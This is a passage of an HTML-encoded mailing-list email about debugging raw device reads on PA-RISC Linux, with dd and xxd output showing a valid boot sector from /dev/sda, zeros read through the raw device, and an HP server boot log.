<BR><FONT SIZE=3D2 FACE=3D"Arial">total 0</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">crw-r--r--&nbsp;&nbsp;&nbsp; 1 =
root&nbsp;&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp;&nbsp; =
162,&nbsp;&nbsp; 4 Sep 12 00:32 raw4</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">crw-r--r--&nbsp;&nbsp;&nbsp; 1 =
root&nbsp;&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp;&nbsp; =
162,&nbsp;&nbsp; 2 Aug&nbsp; 7 00:35 rawsda</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">crw-r--r--&nbsp;&nbsp;&nbsp; 1 =
root&nbsp;&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp;&nbsp; =
162,&nbsp;&nbsp; 1 Jul 31 19:33 rawsdb</FONT>
</P>

<P><B><FONT COLOR=3D"#FF00FF" SIZE=3D2 FACE=3D"Arial">I am binding the =
raw devices to the block devices</FONT></B>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">oak:/home/sranjith#</FONT><B> <FONT =
SIZE=3D2 FACE=3D"Arial">raw /dev/raw/rawsdb /dev/sdb</FONT></B>
<BR><FONT SIZE=3D2 FACE=3D"Arial">/dev/raw/raw1:&nbsp; bound to major =
8, minor 16</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">oak:/home/sranjith# raw =
/dev/raw/rawsda /dev/sda</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">/dev/raw/raw2:&nbsp; bound to major =
8, minor 0</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">oak:/home/sranjith#</FONT><B> <FONT =
SIZE=3D2 FACE=3D"Arial">raw -qa</FONT></B>
<BR><FONT SIZE=3D2 FACE=3D"Arial">/dev/raw/raw1:&nbsp; bound to major =
8, minor 16</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">/dev/raw/raw2:&nbsp; bound to major =
8, minor 0</FONT>
</P>

<P><B><FONT COLOR=3D"#FF00FF" SIZE=3D2 FACE=3D"Arial">I am reading the =
1st sector of /dev/sda from which I booted</FONT></B>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">oak:/home/sranjith#</FONT><B> <FONT =
SIZE=3D2 FACE=3D"Arial">dd if=3D/dev/sda of=3Do_sda bs=3D512 =
count=3D8</FONT></B>
<BR><FONT SIZE=3D2 FACE=3D"Arial">8+0 records in</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">8+0 records out</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">oak:/home/sranjith#</FONT><B> <FONT =
SIZE=3D2 FACE=3D"Arial">xxd o_sda |more</FONT></B>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000000: 8000 5041 4c4f 0003 0000 =
0000 0000 0000&nbsp; ..PALO..........</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000010: 0000 0000 0000 0000 322f =
766d 6c69 6e75&nbsp; ........2/vmlinu</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000020: 7820 726f 6f74 3d2f 6465 =
762f 7364 6133&nbsp; x root=3D/dev/sda3</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000030: 2048 4f4d 453d 2f00 696e =
6974 3d2f 6269&nbsp;&nbsp; HOME=3D/.init=3D/bi</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000040: 6e2f 6261 7368 0037 3a2f =
2069 703d 6468&nbsp; n/bash.7:/ ip=3Ddh</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000050: 6370 2048 4f4d 453d 2f00 =
0000 0000 0000&nbsp; cp HOME=3D/.......</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000060: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000070: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000080: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000090: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">00000a0: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">00000b0: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">00000c0: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">00000d0: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">00000e0: 0000 0000 0000 0000 0004 =
4000 0050 7fd9&nbsp; ..........@..P..</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">00000f0: 0000 4000 0000 7800 0000 =
0000 0000 0000&nbsp; ..@...x.........</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000100: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000110: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000120: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000130: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000140: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000150: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">--More--</FONT>
</P>

<P><B><FONT COLOR=3D"#FF00FF" SIZE=3D2 FACE=3D"Arial">I am getting a =
valid output</FONT></B>
</P>

<P><B><FONT COLOR=3D"#FF00FF" SIZE=3D2 FACE=3D"Arial">Now I use the raw =
interface to read the same sector and I get garbage</FONT></B>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">oak:/home/sranjith#</FONT><B> <FONT =
SIZE=3D2 FACE=3D"Arial">dd if=3D/dev/raw/rawsda of=3Do_sda bs=3D512 =
count=3D8</FONT></B>
<BR><FONT SIZE=3D2 FACE=3D"Arial">8+0 records in</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">8+0 records out</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">oak:/home/sranjith#</FONT><B> <FONT =
SIZE=3D2 FACE=3D"Arial">xxd o_sda |more</FONT></B>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000000: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000010: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000020: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000030: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000040: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000050: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000060: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000070: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000080: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000090: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">00000a0: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">00000b0: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">00000c0: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">00000d0: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">00000e0: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">00000f0: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000100: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000110: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000120: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000130: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000140: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">0000150: 0000 0000 0000 0000 0000 =
0000 0000 0000&nbsp; ................</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">--More--</FONT>
</P>

<P><B><FONT COLOR=3D"#FF00FF" SIZE=3D2 FACE=3D"Arial">I get =
Garbage&nbsp;&nbsp; </FONT></B>
</P>
<BR>
<BR>

<P><B><FONT SIZE=3D2 FACE=3D"Arial">Boot up screen dump</FONT></B>
<BR><FONT SIZE=3D2 FACE=3D"Arial">************ EARLY BOOT VFP =
*************</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">End of early boot detected</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">*****************************************</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Firmware Version&nbsp; 41.46</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Duplex Console IO Dependent Code =
(IODC) revision 1</FONT>
</P>

<P><FONT SIZE=3D2 =
FACE=3D"Arial">---------------------------------------------------------=
---------------------</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; (c) Copyright 1995-2000, =
Hewlett-Packard Company, All rights reserved</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">---------------------------------------------------------=
---------------------</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&nbsp; Processor&nbsp;&nbsp; =
Speed&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
State&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
CoProcessor State&nbsp; Cache Size</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp; =
Number&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp; =
State&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp; Inst&nbsp;&nbsp;&nbsp; Data</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp; ---------&nbsp; =
--------&nbsp;&nbsp; ---------------------&nbsp; =
-----------------&nbsp; ------------</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 750&nbsp; MHz&nbsp;&nbsp; =
Active&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Functional&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 750 KB 1.5 =
MB</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 750&nbsp; MHz&nbsp;&nbsp; =
Idle&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Functional&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 750 KB 1.5 =
MB</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&nbsp; Central Bus Speed (in =
MHz)&nbsp; :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 133&nbsp; =
</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp; Available Memory&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp; =
16777216&nbsp; KB</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp; Good Memory =
Required&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 86948&nbsp; KB</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; Primary boot =
path:&nbsp;&nbsp;&nbsp; =
0/0/2/0.2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; Alternate boot =
path:&nbsp; =
0/0/1/1.2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; Console =
path:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
0/0/4/1.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; Keyboard =
path:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
0/0/4/0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;WARNING:&nbsp; The =
non-destructive test bit was set, so memory was not tested </FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp; destructively.&nbsp; Information only, no action required. =
</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">Processor is booting from first =
available device.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">To discontinue, press any key within =
10 seconds.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Proceeding...</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Trying Primary Boot Path</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">------------------------</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Booting... </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Boot IO Dependent Code (IODC) =
revision 1</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">HARD Booted.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">palo ipl 1.0 root@palinux Mon =
Apr&nbsp; 1 10:02:53 MST 2002</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Partition Start(MB) End(MB) Id =
Type</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
95&nbsp;&nbsp; f0 Palo</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp; 96&nbsp;&nbsp;&nbsp;&nbsp; 286&nbsp;&nbsp; 83 =
ext2</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp; 287&nbsp;&nbsp;&nbsp; 5054&nbsp;&nbsp; 83 ext2</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">PALO(F0) partition contains:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; 0/vmlinux64 =
5275609 bytes @ 0x44000</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Information: No console specified on =
kernel command line. This is normal.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">PALO will choose the console =
currently used by firmware (serial).</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Command line for kernel: =
'root=3D/dev/sda3 HOME=3D/ console=3DttyS0 TERM=3Dvt102 =
palo_kernel=3D2/vmlinux'</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Selected kernel: /vmlinux from =
partition 2</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">ELF64 executable</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Entry 00100000 first 00100000 n =
3</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Segment 0 load 00100000 size 2872448 =
mediaptr 0x1000</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Segment 1 load 003be000 size 1028616 =
mediaptr 0x2bf000</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Segment 2 load 004bc000 size 376832 =
mediaptr 0x3bb000</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Branching to kernel entry point =
0x00100000.&nbsp; If this is the last</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">message you see, you may need to =
switch your console.&nbsp; This is</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">a common symptom -- search the FAQ =
and mailing list at parisc-linux.org</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">********** VIRTUAL FRONT PANEL =
**********</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">System Boot detected</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">*****************************************</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">LEDs:&nbsp; =
RUN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ATTENTION&nbsp;&nbsp;&nbsp;&nbsp; =
FAULT&nbsp;&nbsp;&nbsp;&nbsp; REMOTE&nbsp;&nbsp;&nbsp;&nbsp; =
POWER</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
ON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
FLASH&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
OFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
ON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ON</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">LED State: There was a system =
interruption that did not take the system down.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Check Chassis and Console Logs for =
error messages.</FONT>
</P>

<P><FONT SIZE=3D2 =
FACE=3D"Arial">processor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; system =
initialization&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1C00</FONT>
</P>

<P><FONT SIZE=3D2 =
FACE=3D"Arial">*****************************************</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">************ EARLY BOOT VFP =
*************</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">End of early boot detected</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">*****************************************</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c8xx: 53c875 detected </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c8xx: at PCI bus 0, device 1, =
function 0</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c8xx: setting =
PCI_COMMAND_INVALIDATE (fix-up)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c8xx: 53c896 detected </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c8xx: at PCI bus 0, device 1, =
function 1</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c8xx: setting =
PCI_COMMAND_INVALIDATE (fix-up)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c8xx: 53c896 detected </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c875-0: rev 0x14 on pci bus 0 =
device 2 function 0 irq 130</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c875-0: ID 7, Fast-20, Parity =
Checking</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c875-1: rev 0x14 on pci bus 0 =
device 2 function 1 irq 131</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c875-1: ID 7, Fast-20, Parity =
Checking</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c875-2: rev 0x14 on pci bus 64 =
device 0 function 0 irq 512</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c875-2: ID 7, Fast-20, Parity =
Checking</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c875-3: rev 0x14 on pci bus 64 =
device 0 function 1 irq 513</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c875-3: ID 7, Fast-20, Parity =
Checking</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c896-4: rev 0x7 on pci bus 0 =
device 1 function 0 irq 129</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c896-4: ID 7, Fast-20, Parity =
Checking</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c896-4: handling phase mismatch =
from SCRIPTS.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c896-5: rev 0x7 on pci bus 0 =
device 1 function 1 irq 130</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c896-5: ID 7, Fast-20, Parity =
Checking</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c896-5: handling phase mismatch =
from SCRIPTS.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">scsi0 : =
sym53c8xx-1.7.3c-20010512</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">scsi1 : =
sym53c8xx-1.7.3c-20010512</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">scsi2 : =
sym53c8xx-1.7.3c-20010512</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">scsi3 : =
sym53c8xx-1.7.3c-20010512</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">scsi4 : =
sym53c8xx-1.7.3c-20010512</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">scsi5 : =
sym53c8xx-1.7.3c-20010512</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">blk: queue 000000008f9a3428, I/O =
limit 4095Mb (mask 0xffffffff)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp; Vendor: HP 36.4G&nbsp; Model: =
MAN3367MC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Rev: =
HP04</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp; Type:&nbsp;&nbsp; =
Direct-Access&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
ANSI SCSI revision: 02</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">blk: queue 000000008f9a3628, I/O =
limit 4095Mb (mask 0xffffffff)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp; Vendor: HP&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp; Model: DVD-ROM =
305&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Rev: 1.01</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp; Type:&nbsp;&nbsp; =
CD-ROM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ANSI SCSI revision: 02</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">blk: queue 000000008f9a3828, I/O =
limit 4095Mb (mask 0xffffffff)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp; Vendor: HP 36.4G&nbsp; Model: =
MAN3367MC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Rev: =
HP04</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp; Type:&nbsp;&nbsp; =
Direct-Access&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
ANSI SCSI revision: 02</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">blk: queue 000000008f9a3a28, I/O =
limit 4095Mb (mask 0xffffffff)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Attached scsi disk sda at scsi0, =
channel 0, id 2, lun 0</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Attached scsi disk sdb at scsi5, =
channel 0, id 2, lun 0</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c875-0-&lt;2,*&gt;: FAST-20 WIDE =
SCSI 40.0 MB/s (50.0 ns, offset 16)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">SCSI device sda: 71132960 512-byte =
hdwr sectors (36420 MB)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;sda: sda1 sda2 sda3</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c896-5-&lt;2,*&gt;: FAST-20 WIDE =
SCSI 40.0 MB/s (50.0 ns, offset 31)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">SCSI device sdb: 71132960 512-byte =
hdwr sectors (36420 MB)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;sdb: unknown partition =
table</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Attached scsi CD-ROM sr0 at scsi1, =
channel 0, id 2, lun 0</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sym53c875-1-&lt;2,*&gt;: FAST-20 SCSI =
20.0 MB/s (50.0 ns, offset 16)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sr0: scsi3-mmc drive: 16x/40x cd/rw =
xa/form2 cdda tray</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Uniform CD-ROM driver Revision: =
3.12</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">STI GSC/PCI graphics driver version =
0.9</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">BUG: Skipping previously registered =
